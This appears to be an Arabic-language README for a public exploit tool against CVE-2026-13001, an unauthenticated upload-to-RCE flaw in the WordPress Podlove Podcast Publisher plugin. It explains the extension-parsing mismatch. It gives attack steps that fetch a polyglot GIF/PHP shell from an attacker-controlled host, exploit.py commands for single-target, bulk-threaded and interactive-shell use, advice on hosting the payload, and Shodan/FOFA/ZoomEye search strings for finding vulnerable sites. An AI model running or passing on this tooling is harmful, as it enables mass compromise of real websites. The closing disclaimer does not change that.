
CVSS 9.8 (حرج) | رفع ملفات تعسفي بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد
ثغرة حرجة في مكوّن ووردبريس الإضافي Podlove Podcast Publisher (الإصدارات حتى 4.5.1) تتيح للمهاجمين غير المصادَق عليهم رفع ملفات PHP تعسفية إلى الخادم عبر وظيفة ذاكرة التخزين المؤقت للصور، الأمر الذي يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE).
تستغل الثغرة عدم تطابق بين وظيفتين داخليتين تحللان امتدادات الملفات بشكل مختلف:
| الدالة | الطريقة | الإدخال: payload.php?.gif | النتيجة |
|---|---|---|---|
is_image() | basename() ثم pathinfo() | payload.php?.gif | .gif (يجتاز التحقق) |
extract_file_extension() | parse_url() ثم pathinfo() | /payload.php | .php (يُحفظ على القرص) |
توجد الثغرة لأن وظيفتين في مكوّن بودلوف الإضافي تحللان نفس عنوان URL لكنهما تستخرجان امتدادات ملفات مختلفة:
is_image() — التحقق (في lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
تتحقق الدالة من:
exif_imagetype() - يتطلب ترويسة صورة صالحة (GIF89a)wp_check_filetype_and_ext()بما أن basename() يشمل سلسلة الاستعلام، يظهر الامتداد على أنه gif - وهو غير مدرج في قائمة الحظر.
extract_file_extension() — تسمية الملف (في lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
يُحفظ الملف على القرص بامتداد .php.
1. يستضيف المهاجم ملف GIF89a PHP متعدد اللغات على: attacker.com/payload.php
(يبدأ الملف بترويسة GIF89a لكنه يحتوي على كود PHP)
2. يلحق الاستغلال ?.gif بعنوان URL: payload.php?.gif
ثم يرمّز عنوان URL الكامل بالنظام الست عشري
3. تشغيل تنزيل ذاكرة التخزين المؤقت:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. معالجة المكوّن الإضافي:
a. تنزيل الملف من عنوان URL الخاص بالمهاجم
b. يفحص is_image() المحتوى: تم اكتشاف ترويسة GIF89a - PASS
c. يفحص is_image() الامتداد: يرى basename "gif" - PASS
d. يستخدم extract_file_extension() مسار parse_url: يحصل على "php"
e. يُحفظ الملف باسم: test_original.php
5. موقع الملف:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. يصل المهاجم إلى الملف مع المعاملات -> تحقيق RCE
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
ملف shell_polyglot.gif.php هو ملف متعدد اللغات صالح كصورة GIF وكتعليمات PHP معًا:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
مهم: يجب استضافة الملف متعدد اللغات كـملف ثابت (مثل: Cloudflare R2 أو AWS S3 أو nginx بدون PHP). إذا كان خادم الاستضافة يعالج PHP، فسيتم تنفيذ الكود على خادم الاستضافة بدلاً من تسليمه كمحتوى خام إلى الهدف.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحية مستخدم خادم الويب:
wp-content/cache/podlove/podlove_image_cache_url مشبوهةهذه الثغرة هي تجاوز للإصلاح المُطبَّق على CVE-2025-10147 (Podlove <= 4.2.6).
| الجانب | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| السبب الجذري |
راجع analysis/CVE_COMPARISON.md للحصول على مقارنة تفصيلية.
لأغراض تعليمية وللاختبارات المصرَّح بها فقط.
هذه الأداة مخصصة لباحثي الأمن ومختبري الاختراق الذين لديهم تفويض كتابي صريح لاختبار الأنظمة المستهدفة. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه الأداة.
ghostpel-sec — البحث الأمني وتطوير الاستغلالات
هذا المشروع مرخّص بموجب رخصة ghostpel-sec للبحث الأمني.
| الحقل | القيمة |
|---|
| CVE ID | CVE-2026-13001 |
| CVSS | 9.8 (حرج) |
| CWE | CWE-20 (تحقق غير سليم من الإدخال) |
| المكوّن الإضافي | Podlove Podcast Publisher |
| الإصدارات المتأثرة | الإصدارات حتى 4.5.1 |
| الإصدار المُصحَّح | 4.5.2 |
| النوع | رفع ملفات تعسفي بدون مصادقة يؤدي إلى RCE |
| الباحث | Talal Nasraddeen (عبر Wordfence) |
| تاريخ النشر | 14 يوليو 2026 |
| لا يوجد أي تحقق من نوع الملف على الإطلاق |
| تجاوز للتحقق عبر الخلط بين الامتدادات |
| الأسلوب | رفع ملف PHP مباشر | ملف GIF89a متعدد اللغات + خدعة استعلام URL |
| الإصلاح المطبق | إضافة is_image() مع قائمة حظر | إصلاح اتساق تحليل الامتدادات |